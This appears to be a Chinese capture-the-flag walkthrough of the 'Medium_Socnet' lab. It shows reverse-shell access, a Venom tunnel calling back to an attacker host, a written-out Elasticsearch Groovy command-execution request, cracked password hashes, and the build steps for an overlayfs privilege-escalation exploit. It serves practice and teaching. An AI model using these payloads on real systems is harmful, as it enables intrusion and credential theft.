云尘靶场 Medium_Socnet 内网为docker 无站代理 不存在gcc的提权方式 解决ldd过高无法执行exp 指定so文件

本文主要是介绍云尘靶场 Medium_Socnet 内网为docker 无站代理 不存在gcc的提权方式 解决ldd过高无法执行exp 指定so文件,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

首先我们可以通过 arp-scan 扫描当前内网中的存活

但是不知道为什么扫不出来 然后我们使用fscan可以获取存活

 这里大致扫描只开了22端口

所以我们使用nmap进行信息收集扫描

nmap -sS -sV -A -p- 172.25.0.13通过tcp 进行 版本服务扫描 并且检测系统版本 全端口

 

这里我们可以发现是通过python写的

或者我们如果只想测试端口 使用PortScan进行扫描

然后我们去访问 5000端口看看

这里提示我们输入代码执行 python 代码 所以我们看看能不能直接反弹shell

getshell咯

这里看题目

这是一个中等难度的靶机,其内部还有几个docker虚拟机,从而可以对内网部分有初步的涉及,比如内网信息收集、内网穿透、简单的横向移动等等。接入网络,自主探测发现仿真虚拟靶机,利用其上的漏洞,获得其root权限。提交john用户的密码作为答案。

可以想到有可能是docker虚拟机

快速判断是不是docker环境_怎么判断一个网站是不是docker-CSDN博客

查看是否为docker

ps -ef

确实很少

ls /.dockerenv

确实有

/proc/1/cgroup

全是docker 那么docker环境没跑了

这里在学习一下代理

内网代理

之前我使用的是Neo-reGeorg-5.1.0 但是这个需要为常见代码启的站 遇到无法在站中解析就不会了

这里学习一下

venom

Release Venom v1.1.0 · Dliv3/Venom · GitHub

首先我们开启服务 这里我是windows

.\admin.exe -lport 9999

然后开启服务 通过wget 下载到靶机中

chmod 777 agent_linux_x64
./agent_linux_x64 -rhost 10.8.0.6 -rport 9999

然后回到主机

showgoto 1socks 1080

这样我们就在1080开启了socks5代理

然后我们去链接

这里我们首先要知道 这个docker对应的内网ip是多少

ifconfig

172.17.0.3

我们去访问172.17.0.3:5000

发现是一样的

所以这里就是我们对应的内网ip了

我们要如何实现docker逃逸呢

首先我们需要探活

内网shell脚本探活

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

这里我们无法通过socks代理出ping 因为位于不同层 所以要么通过反弹shell 获取ping

要么代理出来 nmap 但是我nmap扫除一大堆不是的 有可能是靶场的问题 所以我选择在反弹shell中 执行 shell脚本

这里获取了172.17.0.1,172.17.0.2,172.17.0.3这些ip

然后我们就可以通过nmap进行服务的扫描了

nmap -sV -sT 172.17.0.2 -Pn

获取到 一个 9200端口 开启 elasticsearch服务

ok咯

去搜个exp

然后复制进去进行python

wget上传 执行 发现报错request没有安装

pip install -t /usr/lib/python2.7/dist-packages/  requests

靶场问题无法联网安装

所以我们使用本地安装

https://www.cnblogs.com/Javi/p/9151629.html

https://www.cnblogs.com/rainbow-tan/p/14794387.html

这两个文章就可以实现下载了

然后执行

python 36337.py  172.17.0.2

getshell

这里我无法实现 所以我选择手动复现

先创建一个数据来保证存在数据

POST /website/blog/ HTTP/1.1
Host: 172.17.0.2:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25{"name": "test"
}

其次就是执行命令

POST /_search?pretty HTTP/1.1
Host: 172.17.0.2:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

发现存在passwords 看看是啥

整理出来

john:3f8184a7343664553fcb5337a3138814 ---->1337hack
test:861f194e9d6118f3d942a72be3e51749 ---->1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b---->1111pass 
root:b3d34352fc26117979deabdf1b9b6354 ---->1234pass    
jane:5c158b60ed97c723b673529b8a3cf72b ---->1234jane

md5爆破网站看看

依次通过ssh链接看看

最后通过john 的账号密码成功登入

提权

现在我们需要提权

首先看看内核

uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

查找看看

searchsploit 3.13.0 linux

提取出来

这里有个问题 因为机器不一样 所以so文件也不会相同

所以我们无法保证 靶机上也存在相同的os文件 并且靶机也不存在gcc

所以我们需要把exp和so一同传递上去

先修改源代码

删除这里(这里注释)

然后gcc打包

gcc -o exp 37292.c 

然后我们去定位so文件

find / -name ofs-lib.so 2>/dev/null或者locate ofs-lib.socp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so /mnt/c/Users/Administrator/Desktop/

然后我们直接上传到tmp

赋权执行

 这里报错了 这里说明我的 kali中动态链接库太高了 这里我们可以使用

ldd --version

确定靶机ldd 然后去下载 解压 并且在编译的时候选择

gcc -o exp 37292.c -Ldir  /mnt/c/Users/Administrator/Desktop/ldd-2.19/libc6_2.19-0ubuntu6_amd64/data/lib/x86_64-linux-gnu/libc.so.6

然后传赋权即可

chmod +x exp./exp

成功咯

所以flag就是 1337hack

我觉得最主要的是解决了 靶机上无法执行命令获取exp的方法

这篇关于云尘靶场 Medium_Socnet 内网为docker 无站代理 不存在gcc的提权方式 解决ldd过高无法执行exp 指定so文件的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/361124

相关文章

C#使用HttpClient进行Post请求出现超时问题的解决及优化

《C#使用HttpClient进行Post请求出现超时问题的解决及优化》最近我的控制台程序发现有时候总是出现请求超时等问题,通常好几分钟最多只有3-4个请求,在使用apipost发现并发10个5分钟也... 目录优化结论单例HttpClient连接池耗尽和并发并发异步最终优化后优化结论我直接上优化结论吧,

Mybatis官方生成器的使用方式

《Mybatis官方生成器的使用方式》本文详细介绍了MyBatisGenerator(MBG)的使用方法,通过实际代码示例展示了如何配置Maven插件来自动化生成MyBatis项目所需的实体类、Map... 目录1. MyBATis Generator 简介2. MyBatis Generator 的功能3

解决systemctl reload nginx重启Nginx服务报错:Job for nginx.service invalid问题

《解决systemctlreloadnginx重启Nginx服务报错:Jobfornginx.serviceinvalid问题》文章描述了通过`systemctlstatusnginx.se... 目录systemctl reload nginx重启Nginx服务报错:Job for nginx.javas

Mysql DATETIME 毫秒坑的解决

《MysqlDATETIME毫秒坑的解决》本文主要介绍了MysqlDATETIME毫秒坑的解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 今天写代码突发一个诡异的 bug,代码逻辑大概如下。1. 新增退款单记录boolean save = s

通过C#获取PDF中指定文本或所有文本的字体信息

《通过C#获取PDF中指定文本或所有文本的字体信息》在设计和出版行业中,字体的选择和使用对最终作品的质量有着重要影响,然而,有时我们可能会遇到包含未知字体的PDF文件,这使得我们无法准确地复制或修改文... 目录引言C# 获取PDF中指定文本的字体信息C# 获取PDF文档中用到的所有字体信息引言在设计和出

Python数据处理之导入导出Excel数据方式

《Python数据处理之导入导出Excel数据方式》Python是Excel数据处理的绝佳工具,通过Pandas和Openpyxl等库可以实现数据的导入、导出和自动化处理,从基础的数据读取和清洗到复杂... 目录python导入导出Excel数据开启数据之旅:为什么Python是Excel数据处理的最佳拍档

SpringBoot项目启动后自动加载系统配置的多种实现方式

《SpringBoot项目启动后自动加载系统配置的多种实现方式》:本文主要介绍SpringBoot项目启动后自动加载系统配置的多种实现方式,并通过代码示例讲解的非常详细,对大家的学习或工作有一定的... 目录1. 使用 CommandLineRunner实现方式:2. 使用 ApplicationRunne

vue解决子组件样式覆盖问题scoped deep

《vue解决子组件样式覆盖问题scopeddeep》文章主要介绍了在Vue项目中处理全局样式和局部样式的方法,包括使用scoped属性和深度选择器(/deep/)来覆盖子组件的样式,作者建议所有组件... 目录前言scoped分析deep分析使用总结所有组件必须加scoped父组件覆盖子组件使用deep前言

VUE动态绑定class类的三种常用方式及适用场景详解

《VUE动态绑定class类的三种常用方式及适用场景详解》文章介绍了在实际开发中动态绑定class的三种常见情况及其解决方案,包括根据不同的返回值渲染不同的class样式、给模块添加基础样式以及根据设... 目录前言1.动态选择class样式(对象添加:情景一)2.动态添加一个class样式(字符串添加:情

解决Cron定时任务中Pytest脚本无法发送邮件的问题

《解决Cron定时任务中Pytest脚本无法发送邮件的问题》文章探讨解决在Cron定时任务中运行Pytest脚本时邮件发送失败的问题,先优化环境变量,再检查Pytest邮件配置,接着配置文件确保SMT... 目录引言1. 环境变量优化:确保Cron任务可以正确执行解决方案:1.1. 创建一个脚本1.2. 修